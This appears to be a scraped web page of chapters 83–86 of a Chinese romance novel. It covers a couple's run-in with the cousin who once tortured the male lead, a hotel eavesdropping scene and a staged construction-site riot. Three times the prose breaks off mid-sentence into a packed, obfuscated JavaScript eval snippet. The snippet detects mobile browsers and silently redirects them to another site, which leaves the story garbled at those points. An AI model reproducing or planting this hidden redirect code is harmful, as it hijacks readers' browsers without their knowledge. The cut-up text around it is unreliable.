一个中转站,突然涌进车厢许多人。 云安洛突然感觉她的脚不知道被谁狠狠踩了一下,她瞬间清醒过来,猛地抬起头,却撞在了丁似霰的手上。云安洛这才发现,她前面那个人背着的双肩包,如果不是丁似霰挡着,估计已经扇了她八百个耳光。 她拉下丁似霰的手,揉了揉他手背,都划红了。 “还有两站就下了。”丁似霰揽着云安洛肩头,十分享受云安洛抓着他手的感觉。 丁似霰握住云安洛的手,很满意地看着这十指相握的画面,“真好看。” “什么?”云安洛没反应过来他在说什么。 “你的手,真好看。 戒指也很好看。” “嘿嘿,你的也好看。”如果不是在外面闲逛了大半天,云安洛真想拉起丁似霰的手亲一口。 “明天晚上包饺子吧,刚杨可期还在控诉南菀的速冻饺子太难吃,明天把她和许志还有小颜喊着,补个冬至?” “好啊,想包什么馅的?” “可期喜欢韭菜鸡蛋,你喜欢猪肉白菜,那就做两种吧,我们仨倒是啥都……” 云安洛话未说完,便被一个看起来很像精神小伙的人打断了。 那人刚上地铁,隔着人流喊丁似霰“表哥”。 不像是亲戚叙旧,云安洛说不清这种语气什么意思,反正听起来很不舒服。 而且,她感觉到丁似霰握着她的手,一瞬间僵住了。 83. 地下室 那人很快挤了过来,把手搭在丁似霰肩头,凑得很近:“哎呀这不是表哥吗!这位是嫂子?” 丁似霰没说话,只是强硬地掰开那人的手,拉起云安洛,把她搂在怀里,想要离开这个地方。 这种行为在拥挤的地铁上很显然并不明智,但云安洛也没有阻止他。 云安洛不知道那人想对丁似霰做什么,但她能感受到一股很重的恶意。 直到走出地铁,那人还跟在云安洛和丁似霰身后,像狗皮膏药一样絮絮叨叨。 “嫂子你不认识我吧?我叫余勇,是丁似霰表弟。” “表哥你别着急走啊,我们兄弟多长时间没见过了,怎么都不叙叙旧?难道你不想回忆一下我们的游戏吗?” 丁似霰的手在抖。 这不仅仅是厌恶,还有恐惧。 “嫂子你想不想看看表哥的视频,你还不知道吧,他从前……” 丁似霰再也忍不住,反手就捏住余勇的手腕,反着关节的方向掰了过去。 余勇和云安洛差不多高,被他这样一提,瞬间站不稳了,嘴上却没有闲着:“嫂子你怎么跟了他呢,要不你今晚跟我……” 云安洛卸了他的下巴。 不会说话就别说了。 没有等到余勇喊救命,云安洛直接对着地铁安保的方向喊了一嗓子:“有人骚扰!” 她说余勇骚扰她,不接受调解,报警。 派出所。 云安洛和警察说,余勇不仅骚扰她,还在公共场合偷拍女生裙底,并且手机里连接了针孔摄像头,不知道是在偷拍哪里。 丁似霰一脸疑惑。 但是在派出所,也不是个探索的好地方。 警察看完地铁站里的监控,又查了余勇手机后,告诉云安洛和丁似霰,余勇在地铁站里的行为没有办法认定为性骚扰,但是他确实有偷拍照片和视频,警察已经去旅店处理摄像头了,至于余勇肯定是要判的。 如果云安洛对于这个结果没有异议,可以签字离开了。 派出所就在香锦家园附近,两个人走回去的路上,丁似霰一言不发,只是依旧牵着云安洛的手。 关上大门后,云安洛说道:“我都是猜的,往严重了说警察才会狠狠查,无论查出点什么都够他关一阵子,地铁站里的监控录不清声音,他又没真的对我动手,所以肯定构不成性骚扰。 只是没想到这家伙真的又坏又蠢。” 丁似霰依旧没说什么,只是淡淡的“嗯”了一声。 “洛洛……对不起……”丁似霰忽然抱住云安洛,“对不起,又是因为我……” “亲爱的小光,你已经说一晚上对不起了,但不是你的错,况且我并没有损失任何东西,除了一些好心情。” 云安洛见丁似霰并没有回应,又抚着他的背说道:“哎呀,想开点,也算做了个好事,至少今晚上会少几个针孔摄像头,也会有很多姑娘以后免受被偷拍的遭遇。” 丁似霰点点头,但神色依旧很黯淡。 “当然,如果你可以面带笑容的补偿我一个真爱之吻,我的好心情一定会回来的!” 丁似霰自然知道云安洛在哄他,他也不想让这种压抑的氛围延续下去。 他俯下身,很虔诚的在云安洛唇上落下一个吻。 可回到家,洗澡、换衣服、吹头发……他都没有再说话。 吹好头发后,云安洛从身后搂住丁似霰,才发现他浑身上下都冒着凉气。 云安洛又给丁似霰披了件睡袍,绕到他身前,握住他的手,放在自己颈窝处。 她用了些力,阻止丁似霰抽回手。 “你洗的冷水澡?” “嗯。” “有没有不舒服?要不要我把电热毯打开?” 丁似霰摇摇头。 “那,我们关灯睡觉好不好?” 丁似霰沉默了许久,才缓缓开口:“洛洛,我想……自己待一晚,可以吗?” 他一定,发生过什么不好的事情,和余勇有关。 大概是高考前他失联的那些天里,大概是在余家村,大概是,和他身上那些伤有关。 但很显然,丁似霰如今并不想说,云安洛也没有问。 她只是点点头,把丁似霰的脸捧在手心里,“如果你哪里不舒服的话要立刻告诉我,发消息或是直接来钻我被窝都行,我可以什么都不问,但你不要用以前的事情和别人的错折磨你自己,好不好?” 其实丁似霰的胃已经在隐隐作痛了,冷水澡不仅会让他的精神冷静一些,更会让云安洛这半个月以来为了让他养身体所做的努力前功尽弃。 但似乎只有肉.体上的疼痛,能阻止他回忆起过去那些零碎的片段。 丁似霰缓缓点了点头,“好。” 大骗子又在骗人了。 只是云安洛没有发现,她放丁似霰去了隔壁屋,没有跟过去。 当然她也没有相信,只是她感觉,既然丁似霰想要独处的时间,就该给他。 云安洛关了灯趴在床上查了查余勇这种情况会判多久。 她希望余勇没有传播过那些图片和视频,这样被偷拍的女孩们就会少受些伤害。 可这样,大概连一年都判不到。 为什么不能直接物理阉割这种人? 云安洛又随意翻看了两眼手机,便睡着了,去游乐场是真的很累。 …… 丁似霰躺在床上,只要一闭上眼睛,就会想起曾经那些事。他那段时间都是靠着安眠药才能入睡,可惜现在手里并没有。 他侧躺在床边,用手机的折角怼着胃部。 疼点也好,疼晕了,就不想那些事情了。 阴暗无光的地下室里,丁似霰被粗糙的麻绳捆在角落,嘴里还被塞满了破布。 他的腰被紧紧绑在柱子上,手反绑在身后。丁似霰一时间不知道是不是该夸夸他的好舅舅,足够绝情。 夏季的衣物很薄,他只是略微挣扎了一会,捆绑处就都磨破了皮。 他一边企图解开手上的绳子,一边努力地吐出嘴里的布。 绑绳子的人不算太熟练,这个结虽不松散,但也不是很紧。 况且丁似霰摸出了这是什么结。 他叫不出名字,但洛洛教过他怎么解。 这是余铁林,也就是丁似霰舅舅家的地下室。他几年前还来过这里,帮家里搬东西,没想到第二次造访,就是被关了进来。 丁似霰刚刚抽出手,就被余铁林撞了个正着。 结果,自然是被重新绑回去。 依旧是麻绳,但是紧了很多,紧到丁似霰感觉他喘气的幅度大一些,腰间都会勒得生疼。 “我的好外甥,别费力气了,你跑不掉,”余铁林搬了个凳子坐在丁似霰对面,“多亏你这小子模样生得好,还能换个好价钱,真没想到还他妈能有人要男人!” 丁似霰嘴里的布塞得更多了,他根本说不出任何话,只能抬起眼看着余铁林。 “看什么看!死老太太把余劲睿娶媳妇的彩礼钱拿去给你妈交医药费了,不然我至于这么着急弄你吗!” 余劲睿,余铁林的大儿子,春节的时候好像就说在准备结婚,但是女方的彩礼没有谈拢。 余铁林蹲在丁似霰身前,用皮带抽了两下丁似霰的脸。他不敢用力,丁似霰这脸如果划花了,钱上面可就亏了。 余铁林一边向地下室的出口走去,一边说着:“你家年前的时候给老太太治病可没少拿钱,看来运大货不少赚。等你死了,你妈那边没人给交钱用不了几天也活不了,钱也是我的,哈哈哈哈哈哈哈哈哈哈哈哈!” 原来只是因为钱。 但至少,听这话的意思,余铁林动不了余美兰,他目前还不能越过医院。 丁似霰又努力了很久,却发现这次他再也挣脱不开这些麻绳。 地下室并不通风,也没有光亮,但这里和外面一样闷热。 丁似霰在这里昏昏沉沉地不知道待了多久,中途只有余铁林又来过两次,捏着他的嘴灌了些水。 那麻绳很脏,又捆得紧,丁似霰腰上一圈已经有些感染化脓了。 再次看到人,是余勇。 那时余勇也只有十五六岁。 他拿着许多东西,气势汹汹向丁似霰走去。可惜,丁似霰早就昏死过去了,余勇完全得不到那种恐吓他人的快乐。 丁似霰是被冰啤酒浇醒的。他还没来得及看清眼前的人是谁,头就被酒瓶重重砸了一下,很快有血流了出来,渗进丁似霰的眼睛里。 他只能睁开一只眼睛,看着眼前的人。 丁似霰一直以为,余勇不喜欢说话。每次丁似霰回来,他总是不理人,成天不知道跑出去做些什么。 没想到,余勇这么恨丁似霰。 因为年龄相仿,余铁林总会把余勇和丁似霰放在一起比较,然后发现余勇一无是处,再随便抄起什么把余勇胖揍一顿。 原来这就是他们说的,如果老余家也有个出息的就好了。 余勇点了支烟,控诉过这些后,直接拿着还在冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吃药、喝水,丁似霰都很乖。但他好像并没有完全从梦境中抽离,吃过药后紧紧抱着云安洛,身体还在止不住地微微颤栗。 云安洛把手搭在丁似霰上腹,吃过药了,暖暖就好,她还是感觉把痉挛揉开这件事太疼了点。 可丁似霰似乎并不这么想,他伸过手来企图带着云安洛深深怼进去。 “不行!”云安洛扯过丁似霰的手,又把其拎回到自己腰间,“忍一会,药劲上来就好了。” 云安洛把一旁的被子拉过来,盖在丁似霰身上,又打开了电热毯。 刚刚她虽睡着了,但是心里惦记着丁似霰,也确实很难睡熟。 云安洛醒过来时,习惯性看了眼手机,才仅仅过了三十几分钟。 但已经过了困劲,她也再睡不着,索性蹑手蹑脚打开门,踮着脚走到丁似霰房间门口。 他没有关灯,透过门上小小的磨砂玻璃能看到,他大概是窝在了床的边缘,远离墙角那一侧。 云安洛把耳朵贴在门上,却发现屋里十分安静……他没开空调。 云安洛感觉,她似乎是应该进去看看。 但丁似霰说他想自己待着。 …… 这个家,还是应该听云安洛的。 云安洛礼貌性敲敲门,没有回应。 “丁似霰?我进来可以不?” 依旧没有回应。 于是,云安洛直接,拧开了门把手。 空调、电热毯一个不开,洗冷水澡还不盖被,云安洛刚进来的时候发现他甚至把窗户打开了,而且是开到了最大! 疯了,彻底疯了! 真就想享年二十八岁整是吧? 但是很奇怪,看着丁似霰这幅样子,云安洛第一个冲进脑子的情绪不是生气,或者说没有生气,只是很心疼。 她一下又一下抚着丁似霰的背,柔声说道:“别想了,梦都是假的。” 丁似霰摇着头,“是真的,都是真的……” “那也已经过去了,不会再发生的。别怕,以后我陪着你。” 丁似霰就这样安静地抱着云安洛躺了许久,才缓缓开口:“洛洛,疼……” 云安洛能感受到掌心下的肌肉越发紧绷,并没有因为吃了药有任何缓解,反倒越发严重。 丁似霰的声音几近央求:“揉一揉,好不好……” “嗯。”云安洛无奈只能应下,她没忘掉丁似霰把自己吃出抗药性这件事,只是想着也半个月没吃药了,该好点了吧? 很显然并没有。 该死的余勇。 84. 余家村 云安洛使了些力,用掌根在丁似霰上腹顺时针打着圈。 他依旧咬牙忍着,没有发出任何声音。直到意识渐渐消散,昏死过去,才随着胃里的抽动轻哼几声。 过了许久,丁似霰的胃才停止痉挛,他窝在云安洛怀里,微微皱着眉,但呼吸也还算均匀。 云安洛一动不敢动,生怕惊醒他,只能一直维持着这个姿势。 在派出所单独做笔录的时候她其实还和警察说了,她怀疑余勇非法监禁过丁似霰。 说余勇又坏又蠢,是因为他手机里的视频甚至没有设置私密,完全不用任何技术手段,直接就能查出来。 云安洛看到了那个视频,长达近二十分钟。 余勇就把手机放在一旁,录下了他对丁似霰做的所有事。 皮带和藤条抽在身上的声音不同,但是都很响,每一下,余勇都使足了力气。 云安洛从来没见过藤条,更何况是那种好几根捆在一起的。 藤条本来是白色的,却慢慢沾上了丁似霰的血,在视频中低劣的像素里依旧能看到斑斑血迹。 丁似霰就那样被捆在角落,没有一点反抗的能力。 云安洛把视频点了三倍速,还是看完了,她真的很后悔刚才没有直接把余勇的胳膊拧断。 她不知道丁似霰怎么被关进去的,也不知道他何时被救了出来,更无法想象他到底在那里熬了多久。 他当初怕是刚醒过来拿到手机,就给云安洛回了消息。 云安洛不喜欢做那些没有意义的假设,但人很难摆脱那些想法。 她想过如果三十晚上她没有想去买糖雪球,是不是云锦书就不会出事。 她现在也在想,当初如果不考那个什么破三模直接去南菀找丁似霰,会不会能让他少遭些罪……又或者,没有信他的鬼话,在新材高中食堂旁边抱住丁似霰,再也不分开…… “别想些乱七八糟的事,”丁似霰不知道什么时候醒的,他发现云安洛在发呆,微微撑起身,伸出手抚着云安洛的脸颊,“都过去了。” 像刚刚云安洛和他说的一样,苍白又无力。 “嗯。”云安洛点点头,“还疼吗?” “没事了。”丁似霰向床里侧挪了挪,躺在枕头上,让云安洛躺下来。 丁似霰窝在云安洛颈间,呼吸间充满了云安洛的气息,确实让他感觉更舒服些。 “被洛洛姐姐养了半个月,还是壮了不少的。”丁似霰抱着云安洛的腰,颇有些撒娇的语气。 但是壮这个字,很显然和丁似霰挂不上钩。他的身板虽然远远没到做个俯卧撑都会振翅而飞的地步,但依旧无论摸哪里都有点硌手。 云安洛亲了亲丁似霰的额头,“看来我得努力啊,还是发烧了。” “睡醒就好了,我真的没什么事,”丁似霰枕在云安洛胳膊上,闭上眼睛,“就是有点……应激。” “我不想你看到我这样……” “没看到,什么都没看到,我就是晚上梦游钻进你的被窝了。”云安洛像哄小孩一样拍着丁似霰的背,“小光不会把我这个不速之客踹下去吧?” 丁似霰笑着摇摇头,“抱着都舍不得松开呢。” 过了一会,丁似霰才开口说道:“我是被我舅舅关起来的。” “为什么?”云安洛不理解,就算是感觉他家里出事了,不想帮忙那就装死好了,为什么要把丁似霰绑起来? “其实我家里存款不多,我姥姥治病的时候外公和舅舅不愿意拿钱,都是我爸妈在出。后来他们俩出了事,除去赔偿给另一方的钱以外,我手里根本没剩什么了……甚至交不起我妈在重症的费用。 姥姥偷偷拿了外公的存折,取了钱,给我妈交了医药费。那钱本来是准备给我表哥结婚当彩礼的。 所以余铁林发现后,要把我卖给别人,给他儿子换彩礼钱。 我姥被他这么一气直接心脏病发作,没救回来,或者说,没有救。” 丁似霰发觉云安洛似乎攥紧了拳头,忙伸出手,握住她,打趣般问道:“是不是听起来很熟悉?特别像那种把闺女买了换钱给儿子娶媳妇的戏码?” “嗯。”云安洛点点头。 “其实余铁林没对我做什么,就是绑得紧了点,那个地下室还很热,待久了有点感觉上不来气。 当然,也还有点饿。” “他关了让你多久?” “嗯……”丁似霰回忆了一下,“应该是四天多点。” 四天,也就是说,从那晚云安洛和他打电话,到他回消息,这期间。 他几乎一直都是被关着的。 “不过多亏了有余勇,他是背着余铁林去的,还被隔壁邻居看到了。 你还记得高一寒假的时候,我姥家有个邻居家着火了吗?” “记得,”云安洛看向丁似霰的胳膊,睡衣袖子下新伤叠着旧创的样子很难让人忘记。 “就是我最后帮挡了一下木头的那个孩子的姐姐,看到了余勇拿着一堆东西钻进地下室,然后找他们家大人报了警。后来还借给我不少钱。也算好人有好报是吧?” 云安洛很努力地,压制住情绪,却还是带着鼻音回了一声“嗯”。 丁似霰抬起手,擦去云安洛眼角的泪水,“别哭呀,我现在不是好好的吗?” “你……回我,消息是……” “在,救护车上。” “为什么不和我说啊!不就是钱吗?” “那样余铁林就会无休止地吸你的血了,况且你已经帮了我很多了,”丁似霰道:“你手气真的很好,剩下那几张刮刮乐里面也张张有奖,我用那些钱还了邻居,还有富余。” “我买了整整三本刮刮乐,我都快在彩票站刮抽筋了我才刮出来那么一张,”云安洛这才说了实话。 她深吸一口气,继续问道:“那,后来呢?” “我答应余铁林,不再追究他非法囚禁我以及余勇对我做的那些事,但让他保证不许再打扰我妈。 没想到余勇还拍了视频,过了这么多年,还能把他自己送进去。” 云安洛迟迟没有说话,但丁似霰能听到她剧烈的心跳声,他甚至怀疑云安洛可能现在立刻冲去余家村把余铁林套个麻袋胖揍一顿。 “在想怎么给我报仇?”丁似霰又在把云安洛的发尾缠在指尖绕着玩,“不会要原样奉还吧?” 云安洛深吸一口气,缓缓说道:“法治社会,我才不会做什么过分的事。 余家村很多地方没监控是吧?明天我就把他绑了扔猪圈里让猪咬死他!” “不太行,”丁似霰摇摇头,“你在余家村找不到他。” 云安洛不解:“那他在哪?” “南菀市清屿监狱,编号0413。” 云安洛瞬间瞪大了眼睛。 “我送他进去的,就在去年。”丁似霰的语气里颇有几分骄傲,如果有尾巴的话,大概已经变成了螺旋桨,在等待云安洛的夸奖。 “我去,这,这么厉害!你不是当初说不追究了吗?” “我只说不追究我这件事,但他做的违法事可不止这一件,”丁似霰继续讲道:“余家村不是什么好地方,村子里其实一直有买媳妇或者换妹子嫁人的,换妹子这个没人能管,但买媳妇肯定违法,余铁林就在干那种勾当。我虽然知道,但并没有证据,而且他犯事的频率不高,所以才等了这么久。 去年他给村里那个老铁匠不知道从哪买了个大学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘筱悠毕业后考上了南菀的警察编,也就留在了这里许多年,她一直想调岗回奉州,但却还没成功。 这次许志过来,两个人都有点死灰复燃的意思,许志已经做好了奉州南菀两处来回飞的准备。 李开颜作为唯一的南方人,不负众望,他不会擀饺子皮。 丁似霰教他教得想直接上脚踹,这孩子左右手不太协调,说什么也不会一边转面团一边擀,云安洛和杨可期就一边用丁师傅擀好的皮包馅一边看热闹。 李开颜龟速擀好第三张饺子皮后,有些无奈地问道:“学不会擀饺子皮,还能当东北女婿吗?” “难喽!”丁似霰摇摇头,又飞快擀好一张边缘薄中间厚的标准饺子皮,展示一般在李开颜眼前晃了一圈才递给姑娘们。 李开颜又把目光投向杨可期寻求帮助。 “别看我,擀皮这种力气活我家都是我爸干,”杨可期幸灾乐祸地笑着:“加油,你能学会的。” 终于,经过一下午的努力,李开颜擀好了十一张饺子皮,其中八张都。。。难看,很难看,如果不是两个姑娘捏的花边遮掩了一些,那饺子皮足够评上年度前十丑东西了。 欢声笑语中,云安洛的手机里收到了一条消息,但她飞速回复后,神色未变,依旧笑着和朋友们闲聊,并没有任何人发现她的异常。 ——云姐,店里被人举报食材有问题,这几天闭店检查,有进展我再和你说,但我们的食材肯定没问题,就是这几天都得耽误了。 85. 暗夜 平安夜,也是今年声优大赛的总决赛。很巧,今年的决赛在南菀录制,云安洛受邀去做神秘嘉宾。 丁似霰本来说要陪云安洛一起去,结果那边施工又把他叫了去。 云安洛开着车,有些走神。 孟杰礼和她说,别墅那边最近好像有些动作,可孟杰礼现在就是个交警,还不分管那片区域,属实有心无力。 恍惚间,等红灯的时候她看到了一个陌生又熟悉的脸。 祁利的一把手,祁正川。 云安洛只在照片里见过这个人,但一定是他。 大总裁怎么一个人开车出门了? 他开着车拐进了茗墅酒店。那年云安洛就是烧了茗墅酒店谭棠的分店,这是祁利名下的酒店。 交通信号灯已经变成绿色,身后的车辆不满的发出滴滴声,云安洛的思绪才被强制召回。 鬼使神差的,她开车跟了上去。云安洛告诉声优大赛那边的负责人,她有急事,神秘嘉宾大概是需要换人了。 云安洛在清洁间捡了套保洁的衣服,把头发绑成低丸子,戴着帽子口罩,若有其事地推着清洁车在酒店里闲逛。 这种酒店都是那种大的套间,楼层不高,房间也不多,主要就是有钱人的消遣。清洁间里有客房服务的清单,目前只有四楼有空闲房间。 云安洛把目光瞄向了426,那个在走廊尽头的套间。竟然是长期住户,但是要客房服务的次数却几乎没有。 也就是说,很有可能只是有人占着这个屋子,但未必在住。 云安洛摁响了门铃。 “谁?” 是祁正川的声音,云安洛看过他出席的发布会。 云安洛压低了嗓音,听起来真的像是一个五六十岁的女人:“客房服务。” “不用了。” “打扰了,如果有需要可以立刻联系我。”云安洛记得刚才那个保洁手册上是这么写的。 哪里的酒店都一样,隔音效果并不好。云安洛只是想确认这屋里是不是祁正川,倒也没奢望他会开门。 隔壁424还是空闲房间,云安洛在清洁间顺了张万能房卡,刷开了424,又随手关上门。 她把手机关好静音,用纸杯做了个简易的扩声筒贴在墙面,静静地等待隔壁会不会传来什么声音。 害怕吗?肯定是害怕的,云安洛感觉到她的手都在抖。 但更多的是兴奋。 真的有人又进了屋子。 那声音云安洛没听过,但她用手机录下了所有。 两个人交谈的内容更令云安洛兴奋。 这两个人谈崩了。 祁正川说别墅被警察盯上了,正在转移,那人竟然说他从来没有参与过这件事,不必告诉他。 要说人啊,吵架还是不能口不择言,祁正川一生气翻出了旧账。 原来那人是南菀市长,他这一路的晋升都是祁正川给吐的金币,代价自然就是市长做他的保护伞。 但现在保护伞想收伞,祁正川急了。 怎么不算卸磨杀驴和狗急跳墙呢? 云安洛录了些想要的东西,便撕烂了纸杯准备出门了,毕竟这身行头从头到脚到工具,都是顺的。 打开门,便看到另一个保洁服装的阿姨,在楼道内寻找。 “李姐!不是和你说过了吗?打扫房间的时候不要关门,怎么还是不记得!”那阿姨急冲冲跑过来。 云安洛不大敢说话,她可不知道这个“李姐”是什么声音,她只好连连低声说抱歉,然后飞快推车回到清洁间。 好在清洁间那里人很少,云安洛迅速脱掉外套润出了酒店。 她这事做得并不漂亮,或者说是,有些蠢。酒店里处处都是监控,如果真的有人察觉,查出来云安洛,连五分钟都用不到。 云安洛出了门就飞速把录音备份,然后又移到sd卡一份,再发给孟杰礼一份,随后给孟杰礼打了电话。 她没想到的是,已经晚了。 工地上的工人闹事,说二期设计图有问题,完全没办法继续开展施工,要求主设计师去现场沟通。 可那架势哪里是沟通,分明只是想把人骗到工地,再趁乱做些什么。 丁似霰一直在企图稳定局面,就算是设计图有问题也不是什么大事,调整之后再施工就可以了,只是这些工人今天的情绪来得太突然且过激。 施工队的工人是按天结算工钱,本以为这是个大活,很多人都没找其他工作,但若是施工图出了问题,断上几天,不干活就没工钱。 但怎么就演变成工人们和洋筑的工程师们叫板,让他们喊主设计师过来这种离谱的局面了? 丁似霰是主要负责人,自然是被逼问的重要人物。一个领头的工人趁机上前揪着丁似霰的领子让他给云安洛打电话。 洋筑的人不能动手,他们动了手就会变成殴打工人,他们只能企图话疗和拉架。 丁似霰只能尽力维持平衡,好声好气地解释:“请你先冷静一下!我们如果设计图有问题可以慢慢沟通,耽误的工钱也会尽量……” 没有尽量了,推搡间,有人动了手,遂场面越发混乱。 直到有人发出了一声惨叫:“血!有人受伤了!快叫救护车!” 不知是谁上来就对着丁似霰的腹部踹了一脚,那个领头的又放开了他的衣领,丁似霰整个人瞬间脱力向后倒去。 然后,被后面的钢筋戳穿了腹部的皮肉。 云安洛在抢救室外,听李开颜说完这一切。 云安洛消化了许久,缓缓问了一句:“闹事的人呢?” 按照时间来算,工地上这件事和云安洛跑去酒店,是同时发生的。也就是说并不是因为她录到了东西,才引发了这次事故。 所以祁正川就已经急了,如果他没了保护伞,那凭借孟杰礼这么多年掌握的还没有上报的证据,够抓他吗? 当年那场火,就算云安洛什么都没说,也不难推测出来是她趁乱放的。 别墅被发现,和丁似霰脱不了干系。 所以两个最不听话的受害人家属,和一个更不不知轻重的小警察,都应该处理掉。 李开颜道:“被警察带走了,应该还在审,是谁安排的他闹事。” 云安洛站起身,和李开颜说道:“如果我还没回来,丁似霰出来了的话告诉我一声,我去警察局看看。” 调解室里,桌子两边一边坐着领头的工人刘成,一边坐着云安洛,警察在中间。 云安洛也不知道她算什么身份,丁似霰的家属,还是主设计师。 “设计图有什么问题?”云安洛先开口问道。 刘成开口时能听出几分犹豫:“无障碍坡道1:12的坡度,还要做双层扶手,这不是存心为难人吗……我们干了几十年,从来都是1:8。” “嗯,还有呢。”云安洛并未回答。 “还有那个扶手,”刘成越说越没有底气,“里外两层,还要延伸300mm,这不是浪费材料吗?” “继续说。”云安洛依旧没回答。 “……消,消防通道做1.4米宽的转弯平台,哪有这么多空间?直接拐弯就,行了。” “还有吗?” “没……没了。” 云安洛这才缓缓说道:“公共建筑坡道坡度不得大于1:12,1:8的坡度轮椅使用者根本无法独立通行。 上层扶手高度850mm,下层650mm,这是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908977|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方便儿童和不同身高的使用者,延伸段是为了确保安全过渡。 担架转弯直径必须保证1.4米。这是救命通道,不是谁想省就能省的,难道出了事需要担架的话,我喊你过来揪着人领子从窗户扔到楼下停着的救护车上吗?” 云安洛深吸一口气,靠回椅子上,“所有这些都是《无障碍设计规范》中明确规定,如果真的如你所说,你以往的经验并没有遵循这些规定,那南菀的建筑确实都应该细细审查一遍。” “可到底是哪一条,让施工需要停滞,值得你们去和工程师动手?” 刘成坐在椅子上,紧张地抠着自己的手指,连头都不敢抬。 他又怎么会不知道他在无理取闹。 “谁,让你们来闹事的?” 刘成这次一言不发。 云安洛转头和警察说道:“警察同志,我想问的问完了,设计图绝对没有问题,这次事故就是刘成领头闹事,我可以不追究他污蔑设计图的事情,但故意伤人总得有个结果,洋筑的建筑工程师丁似霰现在还在医院的抢救室里!” 刘成突然像想开了一样,大喊:“我说!我说!有人答应给我一大笔钱,让我尽量把你和丁工都坑进去,云设计师你大人有大量原谅我吧!我是真的很需要钱去给我儿子看病……” 云安洛的声音有些颤抖,她仅仅问了一个字:“谁?” “我不知道啊,他找到我就给了我很多钱,和我说事成之后还有更多,我不知道他是谁……” 警察见刘成情绪激动,连忙摁住他,问道:“有证据吗?” 刘成摇摇头,他只是急着用钱,根本没想过是非黑白。 云安洛知道,接下来的调查与她无关了,她也没有再说什么,转身想离开这里。刘成突然使足了力气,挣脱开警察的束缚,滑跪在云安洛脚边,扯着云安洛裤脚给她磕着头道歉,涕泪横飞。 “你就原谅我吧!我不能进去啊,我儿子还在等着我给他赚钱交手术费,而且不是我推的丁工!真的不是我!我只是领头叫嚷几句,虚张声势地揪住他的领子,我根本不知道他怎么倒下撞到钢筋上的……” 云安洛厌恶地扯出裤脚,离开了调解室。 她又有什么资格替丁似霰原谅。 日子苦的人多了,但选择去迫害别人从而改善自己的生活,不值得原谅。 云安洛没有回医院,丁似霰没伤到内脏,就是又要受些皮肉苦了,况且李开颜一直在医院陪着他,他也没有醒,云安洛还有其他事要做。 她走到了附近的公园,站在那座假山的最高峰上,吹着风,看着整个南菀。 这座看似繁华的城市下到底隐藏了多大的势力与罪恶,她现在根本无法估量。 一直听说,飞蛾扑火,蚍蜉撼树都是徒然,只有傻子才会去做,没想到有一天自己竟变成了这样的人。 今天的一切,来得都太突然了。 火锅店昨天被人恶意举报食材有问题,被迫停业调查。 孟杰礼被停职,丁似霰如今在推搡中撞到了钢筋……这一切都证明,马上就要看到真相了,虽然云安洛也不懂,为什么今天忽然间就会发生这些。 但是如果成功的代价是让身边所有人,落入万劫不复的境地,这份迟来的正义又有什么意义。 世间的善恶真的终有报吗? 可惜,老天爷是虚假的,并不存在。 所谓的恶有恶报只是坏事做多了终会惹到惹不起的人。 又或是,有她这种,愿意以命相搏换一个结果的人。 云安洛缓缓叹了口气,而后带着些苦涩的笑意,拨通了孟杰礼的电话: “孟哥,找个地方见一面,有些事情,得和你商量一下。” 86. 糖雪球 舍得舍得,有舍才有得,看来还是舍的不够多,得的才不满意。 孟杰礼说她疯了。 “那你告诉我,除了这样我还能做什么?现在是你有能力回到刑警队还是我有能力在正规渠道制裁祁正川!” 孟杰礼不语,他们都没有这个能力。 “祁正川现在已经动手了,这次是没弄死丁似霰,下次呢?下次会不会直接我们两个或者我们三个甚至连上我身边的人都像我妈一样被扔进车里直接炸死了?” 孟杰礼当然也懂,云安洛想做的事情是目前唯一最快的破局办法,但不代表他认可牺牲云安洛这件事,“可,可这样做你怎么活?” “你救得及时就能活,”宣发过情绪,云安洛也冷静了些,“我现在只想这些事情赶紧结束,别再引发其他没必要的灾难了。” “小丁同意了吗?” “这事和他有关系吗?”云安洛并没有正面回答,“他现在醒都没醒,告诉他什么用都没有。” 孟杰礼最终还是点了头。 平安夜,究竟会是最后一个平安的夜晚,还是余生皆安宁…… 云安洛从孟杰礼家出来后,回到自己家,换了一身很漂亮的衣服,化了精致的妆容。 她刚刚和孟杰礼说,她不明白。 凭什么作恶者高坐明堂,享尽荣华,可受害者步步退让,终日苦痛。 若没有一个结果,她这辈子都无法释怀。 但,这结果不能把所有人都拉进无间地狱。 云安洛回到医院,坐到丁似霰病房的沙发上,拿着画板,静静地描绘着丁似霰的画像,等待他醒过来。 南菀近期总是灰沉沉的,已经很多天只有阴雨,那天却出奇的见了太阳。 天气要变好了,太阳出来了。 夕阳西下,晚霞透过窗,折在屋子里。天空是蓝紫色的,似乎还混着一点粉色和夕阳的红晕,美极了。 病房里只有云安洛的彩铅在画纸上划过的声音,细碎,又平和。 “洛洛。” 云安洛抬起头,对上了丁似霰的眼睛。 “醒啦?” “今天打扮得好漂亮。” “我有不漂亮的时候吗?” “没有,一直都是美人,得此美人是小的三生有幸。” “你这张嘴,还真是深得我心,”云安洛把画板翻过去让丁似霰欣赏,“我在画你,是不是技术很好。” “画师的手艺精妙绝伦,”丁似霰的声音听起来有些沙哑,“模特长得也是很标致。” “真是永远不忘记夸你自己,”云安洛放下画板,走到丁似霰床边坐下,“感觉怎么样,还疼吗?” “还好,皮厚,不严重,”丁似霰勾着云安洛的手指,“就是太久没见到你了,好想你。” 